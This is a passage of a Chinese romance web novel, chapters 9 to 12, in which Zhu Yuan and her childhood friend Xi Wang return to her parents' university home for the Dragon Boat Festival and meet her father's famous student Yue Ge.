“春天的梧桐颜色是嫩绿,夏天的梧桐颜色是阴凉,秋天的梧桐颜色是清脆,冬天的梧桐颜色是素白。梧桐树下来来往往的人在梧桐树旁边一栋栋红砖小楼里忙忙碌碌,而我的家就在这一路M市最闻名的M大梧桐深处……”
像爸爸妈妈一样,也像梧桐树一样,一直留在M大做老师?
于是,同样的主题,第二天老师收到了双份作文。
那以后长久的成长岁月里,祝维诗理所当然的把这当成两人共同的目标。
直到希望父母离开,直到希望高三没上完就出国,祝愿才恍然大悟,那应该只是小希霍普写作文时,不经意间的一个转头看到了窗边晃动的梧桐叶,脑子里闪过的一个可以应付掉作业的灵感。
又直到这一刻,祝愿才又一次恍然,她难道一直记得那两篇作文吗?
从前一直觉得她只是不知道自己想做些什么,甚至像尔默那样毕业的时候很顺其自然的去了学校设计院她也不想。想不到做什么或者说什么都不想做又或者说什么都不想改变,所以一直读书,读完书在自己读书的地方教书,是比比她懒的尔默还顺其自然,难道不是吗?
初夏的微风轻轻的撞在H大主路两旁的梧桐树上,嫩绿透光的树叶挂在枝丫上摆手,光点在叶尖上闪躲。
……
9. 09、“就是那个岳歌。”
09、“就是那个岳歌。”
路上,祝愿又回复了几条消息终于收了手机,扭身从后座的包里抽出了轻薄的笔记本电脑。
希望抽空看了她一眼,没说话。
黑色轿车再次进到大学,再没停车,门口的牌照识别自动抬了杆。祝愿开始收摆了一腿的笔记本和笔记本电脑。
等她全都收拾完了,车已经稳稳停在了另一片梧桐深处的小红楼门口。
“你怎么开这么快?”祝愿把包抱在怀里,有些懵的看着车窗外,一副并不打算下车的样子。
希望一脸莫名其妙的看着她。
“我想吃一食堂的烤鸭。”祝愿解释道。
离这里有两站路那么远的第一食堂、的烤鸭。
“不要,晚上再说。”希望面无表情的先一步下了车,并行云流水般的关了车门。
祝愿噘着嘴不情不愿的跟着下车,从自己包里摸了半天,摸出把钥匙递给希望,道:“自己收拾干净再过来吃饭。”
“你没给我收?”希望接过钥匙满脸不可置信?
祝愿白眼道:“我也很久没回来了好吧。”
希望皱着眉头把钥匙收进口袋,犹豫道:“那我……”
“你敢去住酒店,”祝愿果断截了他的话,“我就告诉我妈!”
希望:“……”
祝愿抬腿往楼里走,道:“家里有口罩我等下拿给你。”
希望驻足甚至有些脚尖转向,眼看着祝愿渐渐走远,就要进楼道里了,高声道:“我去给你买烤鸭。”
“我给你拿我爸自行车钥匙。”祝愿头也不回的同样高声回道。
“口罩呢?”
“俩!”
也、行吧。
蹬蹬蹬的,祝愿跺着脚就上了楼,在楼上早就听到俩大嗓门的汤教授早早儿的就开了门站在了门口。祝愿把手里提着的H市特产蛋糕递了过去,汤教授则把手上准备好的口罩和钥匙交到祝愿手上。
祝愿看着手里的口罩,朝她妈撇着嘴,又从门边柜子的桌垫下拿了饭卡就赶紧跑到厨房窗户边朝楼下希望招呼,然后毫不犹豫的把手里的饭卡和钥匙扔了下去。
希望眼瞅着东西往下落,后退了两步,等它掉到地上,才捡起来往楼栋里走。
看钥匙,还是那辆车。
嘎吱咯——嘎吱咯——
梧桐林荫下,希霍普晃了两晃后笔直的朝一食堂去了。
“我爹呢?”祝愿关了厨房窗户才又走回大门口换鞋,前后左右不太认真的找了一通祝教授。
汤苡拿着拖把,跟在祝愿后面,不那么高兴的道:“你爹我哪儿知道?”
祝愿赶紧把换下的鞋子收到鞋柜里,赔笑又道:“您爱人呢?”
汤苡把拖把靠到门边,特别仔细的理了下并不乱的鞋柜,仍是不待见祝愿的样子道:“贫嘴吧,快给小希望把房子收拾了,你都多久没回来给他弄了。”
“他回国才给他弄的,谁让他回国不回家。”祝愿拿着门边的拖把就往阳台去,放下才转回到自己房间。
汤苡站在祝愿房间门口,脸上终于好像有了点笑容道:“他那个工作多忙啊,这么大了怎么还跟小时候一样跟他计较呢?”
“我什么时候和他计较了?”祝愿把包里的笔记本和笔记本电脑都拿了出来,转身愣了一瞬,“不是,我小时候又什么时候和他计较了?”
“你爹带了个学生在书房呢,”汤苡挡了挡祝愿去书房的脚尖,紧接着毫不留情的问道,“他出国那天你到哪去了?”
祝愿像是习以为常的把手里的东西放回自己的小书桌上,心灵福至的来了一句:“我去哪你真不知道?”
汤教授笑得轻蔑,似乎很艰难的才控制住自己不翻白眼,乐道:“呵呵,许梦是吧?”
祝愿的初恋,16岁,姓许名梦,高中同班同学,时长:100天。祝愿曾经以为在希望的掩护下,匆匆的初恋出入毫无痕迹,直到刚才。刚才,就那么着心灵福至前的瞬间,她脑中闪过的是高二某个傍晚,放学脚步匆匆要跟许梦去逛公园的她,就那么着也和今天一样心灵福至的回了个头,人群中她惊悚地同时看到了她爹和她妈。
然后怎么着了来着?然后好像许梦直接若无其事的继续“放学”,她回头甚至迎上去听他们说,学校无趣的活动他们没参加,赶来带她在外面吃晚饭,而希望在五分钟后急忙在学校门口和他们会合。
“你还真知道啊?”祝愿莫名的兴奋,当时到底是怎么想的,竟然觉得演的完美、配合默契?
汤教授一脸里说当然、不以为然甚至还有那么点不屑一顾的问道:“许老都离休了吧?他现在干嘛呢?”
祝愿收拾着自己桌子用余光看了她妈一眼道:“秋天要结婚了吧。”
“邀请你了?”汤教授抬眉,眼睛里已经开始流露出鄙视。
“请了,”祝愿嫌弃的看着自己妈妈,“但是那天小米椒也结婚。”
“你不是很久不跟小米椒玩了?”汤女士敏锐的问道。
“你怎么什么都知道?”祝愿惊讶于她妈竟然连这种曾经要好的同学,因为价值观同样伴随成长而渐渐冷淡的事情都能全靠暗中观察掌握,对她妈连连送出重新审视的目光。
“也不看你是谁生的!”
“……”
“不准再给人当伴娘!”
“你一个人民教师,这么迷信合适?”
汤教授并不接话,自顾仿佛无比自然的道:“去叫你爸出来吃饭。”
祝愿抬腕看了眼时间道:“希望还没回来呢。”
“他又不是叫了立刻能出来。”
“哦。”
祝愿老实规整的跑到书房门口敲了门,等到她爹懒懒的声音传出了个“进”字,才拧了门把手推门进去。
那是一个……怎么说呢?其实并不太像学生的学生,倒不是说长相,是眼睛里不可言说的什么东西,就祝愿开门进去,他坐在桌侧抬头看过去的那一刻的眼神。
祝愿多少年没见过爸爸往家里带学生了?这人看着是不是有点面熟?
“你好。”祝愿对那人笑道。
那人只稍稍一抬眉,对他礼貌的点了点头就又看回自己面前的笔记本电脑。
嘿!这老祝要学生除了长相真是越来越不讲究了。
“开饭了。”祝愿转而对祝教授道。
“嗯。”祝教授连头都没抬,只是极为敷衍的应了个音节。
祝愿目光在这二人身上扫视了两个来回,在得到她爹在研究保密项目可能性为零的评估下,突然向他爹的显示器伸头。
怔楞可能也就那么两秒钟。
“你要输啊。”祝愿看着屏幕笃定道。
“乱说!我们就来,你先去。”祝教授依然只盯着电脑,全神贯注确实是在做什么研究。
祝愿撇了撇嘴,站直身体自然而然的就转去看旁边的屏幕。
得,满屏的计算式,让人没有看第二眼的欲望,和他爹那二人黑白子游戏完全不一样,这大过节的两人硬凑在一起是图什么?
想不通这事儿,她妈第二次让她去喊人的时候,她是让已经买完烤鸭回来的希望去的。
这回进去一个人,出来的是仨。
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这力度落差,使祝愿看向那学生的目光已经开始不太友好了。希望在桌子对面踢了她一脚,很轻的询问的目光,于是得到了重重的白眼。
“来,给你们先介绍一下,这位,”祝教授上座指着自己的学生道,“我学生。”
“岳歌。”桌上几人面面相觑终是没等来祝教授的下一句,那人自己开口道。
“这位,”祝教授指着自己的女儿道,“我女儿。”
“祝愿。”祝愿笑道。
“这位……”祝教授指着希望。
“希望。”希望抢答道。
“我认识你。”岳歌不甚有表情的说。
希望挑眉看向岳歌,祝愿眉毛的角度与希望分毫不差,也看向岳歌。而祝教授则端起手边的茶杯,自顾嘬了一口。
“看过你的论文,”岳歌不待希望进一步挑高眉毛继续道“我曾经很缺钱。”。
话音一落,希望、祝愿抬着的眉毛都又加大了角度,转而看向祝教授,祝教授想要放下杯子的手放到一半又抬回了嘴边。
“来来来,”汤教授两手端着浓油赤酱的豆皮炖肘子,从厨房小跑着摆上桌,“最后一道菜了!”
众人忙给她挪位置摆菜。
“怎么样?”汤教授摆罢了菜,也就顺势在祝教授旁边就了坐,对岳歌得意的笑道,“我就说他俩不认得你吧?”
希望和祝愿很快一同看向岳歌,仔细打量、观察、思考快速循环。
希望似是首先想到了什么,看了眼还在大脑检索状态的祝愿,转而对岳歌道:“岳歌?哪个岳?哪个歌?”
岳歌楞了下道:“就是那个岳歌。”
“那我也看过你的论文,”希望笑道,“从那个看来我的论文应该没帮到你什么。”
“你们都互相知道?”祝愿看向希望,眼睛里还是迷茫,“我怎么觉得我好像也听说过你?”
“他可能几年前就做了叔叔的学生?”希望笑着仿佛给了她些提示,但问句结尾又仿佛啥也没说。
祝愿却是直接问道:“你以前也来过我家吗?”
她爸的学生,如果不是来过她家她不可能有印象,她现在基本上可以确定这个人在这之前她一定是听说或者见过的。但是要说听她爸说过哪个学生?不说祝教授是不是有这个习惯说,至少她是没有这个耐心听。
“你看过人家的毕业照说直夸人家长得真好看,你不记得了?”汤苡把热黄酒壶递给希望,示意他斟酒,“还有,你平时一点电视都不看吗?”
“爸爸最近做了什么竟然上了电视的项目?”祝愿怀疑的目光毫不犹豫的打到了自己爹的身上。
“应该也会有找老师做顾问嘉宾的节目吧。”岳歌好像终于放轻松的道。
祝教授却淡淡答:“哪有那闲工夫。”
汤苡急道:“我说的是综艺!”
“综艺?”祝愿满脸不解。
岳歌笑道:“祝老师可能也不刷微博?”
“我……”刷来着,但是只看……祝愿小眼神往希望那儿飘了飘。
希望也等着她往下说,只见她立刻低头拿手机出来。
“吃饭不要玩手机。”汤苡见状颇为严厉道。
岳歌赶紧道:“没事的,师母。”
“那也不行,”汤苡显然忘了话题的开头到底是谁,生硬的端起酒杯转而道,“举杯吧,为了相聚。”
祝愿很自然的把希望自己给自己斟的那杯酒倒进了自己酒杯里,把自己手边饭前泡好的茶换到他手边。
然后大家碰杯,除了希望都一饮而尽。
……
10. 10、告状
10、告状
饭毕,希望第一个站起来收拾碗筷,祝愿不动如山的看在眼里觉得这人装模作样的,她实在想不起来汤阿姨什么时候让希望在家里洗过碗,她自己在家汤阿姨都没让她洗过碗。只是紧接着岳歌也站起来加入了,祝愿这才认真的评估了一下她妈妈加上这两个男的与桌上这些碟子碗的劳动效率问题,最终眼珠子溜了两下无声的拿出了手机,点开微博图标,搜索“岳歌”。
“行了行了,你俩出去吧。”碗全部被收进了厨房,俩男的很快被汤教授赶出了厨房。俩姓祝的依然不动如山的坐在那儿,看了他们一眼,又都低头继续看自己的手机。俩男的就着之前的位次重新坐了回去。
祝愿手机放在桌下,自认为做贼似的滑动飞快,希望开始是余光,后来实在是看她看得太专注,就往她手机屏上直接凑了凑,没想到祝愿躲开,甚至还瞪了他一眼。
“咱劳动去?”希望小声跟祝愿嘀咕。
“一会儿,”祝愿收起手机看他,又犹豫一下,凑近他低声道,“要是来不及你去住西门招待所,反正就一晚。”
希望:????刚刚说如果去住,就跟她妈告状的是谁?
“我想跟我爸手谈一局。”祝愿说着甚至有点谄媚的说话就转向了她爸。
希望:????从小他爸一拉她手谈,就拿对面邻居可爱无辜小伙伴当挡箭牌的是谁?
“谁跟你手谈?”祝教授也收起了自己的手机,撩起眼皮目光从祝愿身上扫过,“希望跟我来一盘,你去看看岳歌建模,看还能不能看懂。”
“爸!我!”祝愿的语气很重差点没跺脚的模样,“工学女博士!”
“哼!”祝教授这一声却没对着祝愿,只见他特别意味深长的看了岳歌一眼,岳歌仿佛不好意思似的低下了头。
祝愿向她爸挑眉,祝教授给她女儿眯眼。
希望目光在三人间游走,最终蹙眉眯起了眼。
“有心事可不下棋。”祝教授说着棋子毫不犹豫的落在了棋盘上。
“您的要点就是我的要点,”希望抬眼看了祝教授一眼,晃了晃手上的棋子,落子嘟囔道:“您本意也不是下棋吧。”
“你这小孩,”祝教授落了子看希望道,“可真不像你爹。”
“我可能像您,”希望终于松了眉头,脸上好像有了点笑意,“毕竟小时候您带我比较多。”
希望父母在出国前就更不经常在家,而他们出国独自留在对面那套房子里的希望,再有主意也只是个未成年人。祝教授大概也就是那时候开始在家里的时间比之前更多了起来,即使只是在书房做自己的事情,等他们都做完自己的事情,大家一起吵吵闹闹的下下棋。
祝教授也笑,笑的是希望看不懂的意味深长:“你心放肚子里,祝愿肯定能搞定岳歌。”
希望的眉毛猛的又拧了起来,看向对面的目光透着警惕:“搞定?搞定什么?”
祝教授看到希望的反应,先是惊讶,然后嘴角仿佛又挂上了什么无情的、希望看不太懂的嘲笑:“你不知道?”
希望的眉毛拧的更紧了:“我知道?”
只见老头眼睛转了转,话风也转道:“你刚刚说知道岳歌?”
希望面上不动,暗自打量对面低声道:“我一个朋友给我看过他的论文,说让我看看明星学霸人设含金量到底行不行。”
当时在异国的会议桌上,同是留学生背景的人,用最亲切的国语一脸轻蔑的把手机递到他的眼前,那看上去是个粉丝尬吹的微博,有毕业照、有不知道哪儿弄过来的手书作业、还有就是好几张扒出来的论文截图。
祝教授抬眼看他,示意他继续。
“我一眼看到了您名字,”希望说着低笑了起来,“看法可能立刻有了偏见。”
那个是短暂的休会时间,希望正在看助理急需他批示的文件,本来不打算理的,但是就那么着一瞥看到了署名,然后他就让助理再等等了。
祝教授挑眉看他,也笑:“只看到我名字不至于,还记下了他名字?”
希望仍是笑着,落子不语。
“我爸是怎么放你不读他博士的?”书房里祝老师难得特别听从祝教授的指挥,兢兢业业的看着岳歌的电脑屏幕,“你都毕业几年了?还能保持这样的水平?”
“我就是当时真的缺钱,”岳歌说着楞了一下,“你刚刚搜过我了?”
“微博热搜。”祝愿朝他仿佛调皮的眨了眨眼,然后她在这个晚上第一次在岳歌脸上看到这么生动的表情,特别生动的不自在。
岳歌父母庞氏骗局圈钱后跑路(爆)、岳歌还钱(爆)、岳歌学霸人设(爆)……
那个骗局的app祝愿知道,打着什么区块链、什么掘金,实际是人拉人传销似的手法,估计岳歌父母是较早一批的用户,所以挣了钱。是几年前的事情了,看来应该就是岳歌说缺钱的当时。不过,当偶像真这么挣钱吗?希望的论文帮不上忙的,当偶像就行了?
祝愿看着岳歌的屏幕,啧啧称奇:“我们学校老师经常说研究生能干什么啊,真应该把你这东西扔他们脸上。”
“老师说你本科就开始帮导师干活了。”岳歌显然并不在意。
“那是我导师活太多,而且我这工科容易些。”祝愿心里想的是,那也就是边缘化的打杂。
岳歌翘了翘嘴角问:“能看明白吗?”
“说实话,拆开每次计算能看懂,合在一起逻辑不是很明白,”祝愿朝岳歌竖了一根手指头,“不要告诉我爸。”
岳歌笑着收回电脑。
“老师……”
祝愿看他欲言又止,打断问道:“他是不是说你了?”
“没有,”岳歌反而笑道,“他就是觉得我确实缺点文化,确实配不上什么学霸人设。”
“那他是让我来告诉你校园多美好的啊,”祝愿狡黠的朝岳歌看了眼道,“你别理他,他可能只是觉得你用着特顺手。”
岳歌垂眉还是笑:“我的荣幸。”
祝愿仿佛灵光乍现似的问道:“要不你来我们学校吧,你在母校多容易被人找到啊。”
“我其实……
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”
“你不怕是你不怕,但是你不怕给别的同学带来麻烦吗?”祝愿抢道。
岳歌又笑问:“老师知道你挖他墙角吗?”
祝愿理所到然反问:“不然他特地安排我俩单独谈话?”
岳歌只是很短暂的一挑眉:“我考虑一下。”
“唉?”祝愿不知道到底是嫌弃人答应了,还是嫌人别的什么。
岳歌笑开了道:“祝老师给我联系老师吗?”
“我还给你联系宿舍,”祝愿显然想到了岳歌的不方便,顿了顿道,“额,或者住处?”
客厅里,两个都心不在焉的人,更甚者终于不再被忍受。
“祝叔,要不您进去看看去?”希望又落一子试探道。
“也行。”祝教授把手上那枚棋子随便一丢,起身就往书房走了。
棋子请脆脆的落在棋笥里,希望目瞪口呆的一个人留在原地,像是对自己的提议一时之间不知如何接受是好。
厨房里咔嚓咔嚓的声音,在一个人的客厅里格外惹人注意,是汤教授在准备卤花生米做晚上的下酒菜。
“你别在我这沾一手的,”希望几乎是在蹲下的瞬间就得到了大众母亲标准式嫌弃,汤苡看他,“你房子收拾了没?”
“还没,”就在被汤苡扫视的那一瞬间,眼珠一转仿佛也是话音一转,希望说,“祝愿说就住一晚上,我住西门招待所也一样。”
少年甚至是幼年时,希望是怎么跟汤苡告状的?
“祝愿说皴笔伤笔所以得用好的笔,所以就让我拿了我生日她送我的那支笔,她说那个很贵。”
“祝愿说我们两个都报一个补习班太浪费了,让我去学完了回来叫她就行了。”
……
“祝愿说我又不是不回来了,所以她今天不来送我。”
当然,最后一句不太知道到底是告状还是自我安慰,反正大人们还是照常批评了祝愿,就像现在一样。
“死丫头,”汤教授手里的花生壳啪一声的粉碎在手里,“我让她给你抹桌子去!”
“嗯。”希望点头,蹲那儿默默接着汤教授暂停的事业。
咔、咔、咔——咔咔——
花生壳一个个一声声,几下不紧不慢的,夹杂着停顿,于是又有两下飞速的。当然,一共没几下,祝愿就骂骂咧咧的从书房里走了出来。
希望蹲在厨房的门边拍了拍手上的花生壳屑,伸头还往她身后看,只有汤教授在后面撵似的:“你俩快过去,晚饭前弄好回来吃饭。”
家里是有客房的,他们就计划在家住一夜而已,就算客房不行,书房也是可以将就的。只是希望即使一直归期不定,汤教授也会耳提面命的跟祝愿说,这是希望在这里最后的根了,家要有家的样子,要整洁、要有人气,难道你不想希望回来吗?
希望现在回来了啊。
祝愿拿了口罩、抹布和汤教授一早准备了的床上用品,去厨房踢了希望一脚。希望拍着屁股上并不存在的脚印站了起来,接过祝愿手上的东西。
……
11. 11、后来&越来越
11、后来&越来越
老话说,男女搭配干活不累,一般是说男女在干活的时候通过体力、精细的特点划分出两类劳动,分别交给男性、女性。比如现在,祝愿擦沙发、擦桌子、搓抹布,希望摆弄扫地机器人快速充电。
门铃响的时候,祝愿第一反应是汤教授过来了,她把抹布放茶几上,拿了手机做沙发上示意希望去开门,说:“这你家。”
“您的咖啡。”
“谢谢。”
祝愿脖子伸的老长的,瞅着开门那人,直到那人关门回身给她递上了一杯咖啡,她先是一愣,接过问:“你怎么让外卖进来的?”
哪家学校外卖不是得到大门口、围墙根去拿的?
希望挑眉:“你不知道达达湖那边开了个网红咖啡店?”
“还送外卖?”祝愿插了吸管问。
希望嫌弃的看她道:“是要跟我探讨供需关系吗?”
“Fine!”祝愿鄙夷的瞥他,撮了一口咖啡,“咦?冷萃尼加拉瓜?”
希望有些意外的看她,问:“味道还行?”
“行!”祝愿又嘬了一口,指了指杯子上的标签,笑着哒吧着嘴巴道,“要是再一杯水就更好了。”
“嗯。”希望又从袋子里拿出了瓶水,拧开递给她。
祝愿接过,喝了一口,甘甜回味充满味蕾,满足的笑道:“很会哎你。”
希望摸了摸鼻子,从袋子里拿出同样的一杯嘬了一口,不紧不慢道:“店员推荐的。”
“那你也喝口试试快。”祝愿把手里的水递回给他。
希望看她,好像好笑的接过瓶子,拧上:“再喝两口赶快抹桌子去。”
“那你去铺床。”祝愿说着没一点儿站起来的意思,甚至坐的更瘫了些。
“嗯。”希望转头去找刚刚随手放到哪儿的床上用品。
祝愿伸脚踢了踢他:“你下窗帘。”
希望无声的看向客厅的窗帘,又转头透过房门看向每个房间的窗户,想到这些几乎都要洗,几乎是哼出来的:“嗯。”
“我想吃……”
希望面无表情打断:“不,你不想。”
祝愿还是伸脚踢他:“你再给我点俩那个店里的小甜品嘛,就还听店员推荐的。”
“俩?”
“你一个我一个嘛。”
“我不要。”
祝愿笑:“不,你想要。”
希望拿出手机,依然面无表情:“知道了。”
客厅这会儿已经是稍微打扫过的状态了,下午的阳光从对角不知哪个老师家窗户反射进家里,泛泛的笼着大片因被打扰而跳跃的灰尘,灰尘们缠绕着欢快又无力的落在刚刚擦过的桌子上、沙发上、被吸在刚刚小心翼翼拉开的窗帘上和站着人的肩上。
“你以后经常回来吧,”祝愿眼睛在屋子里扫了好几扫,“这么久才回来一次,事情太多了。”
那年希望也要出国的时候,他就把家里钥匙交给了祝愿,他说服祝愿收下钥匙的理由是是“以防万一”。当然,这么多年好像也没有过“万一”,倒是祝愿会按照汤教授的说法,按时或不按时的过来稍微打理打理。只是年数越来也长,按时越来越少,不按时越来越多。祝愿那说完甚至在想,如果希望这次不回来,她还会不会再自己使这个钥匙。
希望拿手机的手顿了那么一瞬,但很快又低头继续点外卖,轻声应道:“嗯。”
于是,门铃再次响起的时候,祝愿噌的一下就蹿到了门边儿,还是刚才那个小哥,看着开门的人愣了一下才熟练的说着“您的甜品”把手里的东西递了过去。
希望从房间抱着窗帘出来的时候,就看到祝愿坐在茶几边上向他招手。
“脏死了,”希望眼睛挤成了眯缝,嫌弃道,“坐沙发上去。”
“哦。”祝愿从地上爬起来,吃甜品的小勺子含在嘴里,顺手拿起希望放在自己手边的手机,熟练的按了密码,打开扫地机器人的app。
嘀嘀嘀——机器人离开充电仓。
“祝维诗!”房间里传来了希望的爆吼。
祝愿从沙发上弹起到房间门口:“怎么了?”
希望正站在高高的梯步上,手里在拆另外一半窗帘,指着地上那个忙碌的正撞着梯架腿的小玩意儿:“窗帘还没下完,机器人出去!”
祝愿一个箭步上去就把那小玩意儿给抱了起来,嘴里嘀咕道:“你自己设置的程序。”
“我没让现在就开始。”
“你又说脏。”
“你桌子都擦好了?”
祝愿回头看还没开始的那些活儿,声音不太大:“还有床头柜,在等你床铺好。”
希望也回头,冷笑道:“这你倒是知道等我床铺好了?”
祝愿眼看着他这一个动作伴随着梯架的一晃,赶忙把扫地机器人底朝天的扔地上,两手扶上梯架对希望吼:“哎,你别乱动!”
希望只给她回了一声冷哼。
“哎,”祝愿敲了敲踏步,“你都不问问祝教授让我和岳歌在房间里说什么吗?”
“扶好!”希望低头看了一眼,特别从善如流的问,“祝叔让你和岳歌在房间里说什么了?”
祝愿的手又原样放了回去,但是嘴里却不老实:“你说你好奇。”
“我好奇。”希望下窗帘的手半个停顿都没给她。
“嘿嘿,那你再好奇一会儿。”
“那人晚上走吗?”
那人?岳歌?祝愿想,她爹妈就是怕人孤单过节的,肯定是吃完了晚饭再走了?于是并不是太不确定的猜:“应该不走?”
“我刚刚看到猫巷炸串儿有外卖。”
“明早我们一起跑步吧?”
“跑完步生煎、辣糊汤?”
“那我们晚上不回去吃了吧,”祝愿仰头道,“等下我回去拿点卤花生过来,你叫炸串儿的时候再叫点冰啤酒。”
希望低头,给祝愿摇了摇手里的窗帘:“自己点。”
“哦。”
等好不容卫生都弄好,一头一脸灰的祝愿才点了啤酒和炸串后回自己家洗澡。家里饭桌上,汤教授早早儿的就摆好了卤花生、卤猪蹄、水煮豌豆玉米啥的,一水儿的下酒菜。祝愿双手
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抱着站在旁边,思考怎么一趟就把这些原汁原味的搬到对面。
汤教授看着桌子边的人,一脸骄傲的对祝愿指示道:“去超市搬箱啤酒来。”
祝愿看着一桌菜摇头,遗憾道:“你这些菜,一箱恐怕不够。”
“岳歌第一次到家里来,你别给人吓的不敢来了。”汤教授嫌弃道。
“我不吓,”祝愿说着伸手拿了个豌豆,一嗦到底,“我和希望去对面喝,让他和爸喝。”
汤教授的脸短时间内可以说是精彩纷呈,详细的不好分步仔细描述,总的来说就是不高兴。
“你们不就是怕人不开心喊人来家里过节的嘛?”祝愿乜着她妈,把豌豆壳扔到垃圾桶里,“我和人本来也不熟,让人不自在,而且希望多难得回来过节啊,还要让他帮你应酬嘛?”
“行行行,”汤教授转身进厨房拿了一叠小号的盘子和托盘递给祝愿,嘀咕道,“说不过你。”
祝愿拿着盘子,桌子上每样都没放过,双手捧着托盘小心翼翼的回到对面,用脚把门踹开。
门内的人开门赶紧伸手要结果祝愿手上的东西,祝愿几乎是下意识的轻轻一让,希望只能转而从盘子里端了两盘菜下来,转身让她先进门。
希望看祝愿那一托盘满满当当,麻雀虽小五脏俱全,感叹的直摇头:“还真是过节啊。”
“不然呢?”祝愿把托盘放到茶几上,一碟碟摆到希望已经摆好的炸串旁边,“都像你?”
“我怎么了?”希望把手上的盘子也放到茶几上。
祝愿指了指茶几上希望外卖点的创意粽子道:“你还记得端午节挺好的。”
希望也看了看祝愿带过来汤教授准备的粽子道:“说不回来过节的不是你吗?”
“我什么时候说了?”祝愿显然已经忘记了之前二人通话的过程了。
“没,都是我说的,”希望一本正经的自白道,“我去年还说不回来过春节。”
祝愿轻哼一声道:“你前年也这么说的。”
希望举双手做投降状,祝愿对他扬了扬下巴,下巴指向是茶几上的某串炸串。希望保持着一只手投降的姿势,拿了串满是辣酱的炸海带。祝愿赶紧一手接过海带,另一手打下了还举着的那只手后赶紧用自己面前的盘子兜在海带下面以防酱滴在桌上,就那么坑头吃了起来。
打人的人明显没保留什么力气,希望揉了揉明显红了的手,给祝愿开了瓶啤酒放到她手边,也给自己开了一瓶,拿起一块猪蹄。
“你晚上不过去,我妈可不高兴了!”祝愿瞪着希望,吸溜溜的道。
希望把猪蹄在料碟里蘸了蘸,不紧不慢道:“那我们现在回去?”
“你这人真假,”祝愿放下签子,又拿起了一串满是辣酱的炸海带,“你不是不愿意和岳歌一起吃饭?”
希望收过祝愿放下的签子:“你倒是都知道!”
祝愿碰了碰希望的酒瓶,自顾喝了一大口啤酒,斜眼看他道:“对你的表达能力有点自信。”
希望垂眼看自己被碰了的酒瓶,笑着端起来也喝了一口。
……
12. 12、垃圾分类
12、垃圾分类
自幼年的祝维诗和希霍普在一起对自己的酒量自行进行评估后,希霍普就只在和祝维诗两人的情况下才喝一点。用他的话说是,这世上只有祝维诗能喝得过他,其他人没必要。
当然,话是幼年时无知的话,但这个喝酒的原则再没变过,他到底什么酒量就连祝愿也知道的并不具体。
比如现在,祝愿自己也不知道昨晚自己到底什么时候在沙发上就睡着了,而且一睡睡到了这时候。
祝愿从沙发上坐起来懵了一会儿,房子里空荡荡、静悄悄,和自己无数次独自打扫完了躺沙发眯着了醒来时的场景一模一样,心里也一样一下子缺了一块,整个人像被包裹在什么无声的漩涡里软绵绵的往下坠,直到又重新躺倒。
宿醉让人容易再次迷糊到梦里,梦里也不知谁在门口拿钥匙就要开门,祝愿挣扎着就想起身去猫眼里看看到底是谁,梦里沙发到门口的路曲曲折折,视线暗角处色散的厉害,走着走着就不知到底走到了哪里,开门的声音却还在耳边,最终那人把门开的撞在了她身上。
“不是说要起来晨跑?”希望提着两带子早饭,踢了两脚祝愿睡着的沙发腿。
祝愿睁眼就看到希望站在沙发边上,俯看着她。她再次缓缓的从沙发上坐起来。茶几上一片狼藉已经被收拾干净,瓶瓶罐罐和串儿签被规规矩矩的收在垃圾袋里,立在茶几旁边的地上。
“你昨晚睡哪儿的?”祝愿又看到那袋垃圾和希望手上此时提的东西,莫名其妙地道,“你下楼买早饭,为什么不把垃圾待下去扔了?”
“我当然在床上睡的,”希望把手上的早点放在茶几上才转身对祝愿,理直气壮道:“我不会分类。”
祝愿的眼睛像是这时才将将醒来,瞬间瞪大了纷呈溜溜地滚了好几滚,嘴唇张张合合,在最终笑了一下似的才说道:“我也不会。你就不能叫我起来,让我回去睡?”
“给你盖毯子了,我家沙发没见你睡得不舒服,”希望显然没想到这人这么个回答,略顿了一下才挑眉问她:“那你平时怎么倒垃圾的?”
祝愿捏了捏手里的毯子,不服道:“你怎么倒的?”
希望更加理所当然道:“我助理和家政倒的。”
祝愿顿了一下,也好像理所当然道:“我邻居帮我倒的。”
“邻居?”希望又一次一脸没想到,回忆了片刻似的问道,“那个男的?”
“额?”祝愿惊讶着也陷入回忆似的,纳闷道,“杨邢绚?你知道?”
希望拿起茶几上刚买的一杯美式,塞到祝愿手里道:“人不是一早给你买咖啡送来了?”
是那天早上啊。那小孩挺尊老的,早上总给她带早饭,知道她咖啡有瘾,需要一口咖啡才能真正醒来,带早饭的时候就总会给她带杯咖啡。
“不不,我要先刷牙,”祝愿把绕过希望又把咖啡放回茶几上,“我跟你说哦,这个杨邢绚啊,他差一点就是我学生了!”
希望停了去厨房拿碗筷的脚步,回头质疑道:“这么小?”
祝愿也停了去卫生间刷牙的脚步,转身上下打量着今天也穿的人五人六的希望,轻哼一声道:“不可能看不出来吧?”
“我记得有个拍照识别垃圾分类的app,”希望继续往厨房里走扬声道,“待会儿咱研究研究。”
“谁要跟你研究那个啊,”祝愿也继续往卫生间里走扬声道,“幼儿园顺口溜知道吗?还app拍照!”
希望拿了碗出来拐到卫生间门口靠着问道:“幼儿园什么顺口溜?”
祝愿把正要往嘴里塞的牙刷又拿了出来在空中点了两下,饶是顺溜地道:“干湿要分开,能卖拿去卖,有害单独放,绿厨厨,黄其其,红危危,蓝宝宝。”
希望听完扭头就走,背对着祝愿道:“这顺口溜不管用,你还是不会。”
“谁说的!”祝愿扶着水池边伸长了脖子对着外面道,“你那些瓶子不得拿去卖吗?”
希望挑衅地问道:“黄其其什么意思?”
“其他垃圾啊。”
“你会啊?”
“……”
二十分钟后,祝愿吃完心心念念的家乡特色早饭后,规规矩矩的蹲在茶几边上对希望进行幼儿园顺口溜从熟背到实践的教学,从而很轻易的就证实了那些说要从娃娃抓起的决心必须要有跟得上的手段,比如顺口溜。
“你们学校不会偷幼儿园顺口溜吧?”希望看她里外里跑了两趟,还被她指挥者里外里跑了两趟,又是涮了外卖盒子,又是拿了不同颜色的塑料袋,模样要多熟练有多熟练,忍不住问道。
“我那顺口溜是看许梦老婆朋友圈学的,”祝愿忙里偷闲翻了白眼愁了希望一眼道,“我们学校都是学生们自己画的海报到处贴。”
“许梦老婆?”希望瞳孔仿佛骤缩,显然是听到了什么没法儿听的东西,“谁?”
“啊!他老婆幼儿园老师,”祝愿又抬头看了希望一眼道,“哦,对了,他婚礼下个月。”
希望换上毫不掩饰的、明显区别于八卦的求知,同时无法理解的问道:“我看你俩评论里不是聊的挺开心的?”
祝愿莫名其妙,但很快脸上的八卦呼之欲出:“你什么时候和他加了好友?还窥屏?”
希望被她问的明显愣住,有些生硬道:“我怎么就不能和他加好友?你还加人加老婆好友呢,人知道你是……”
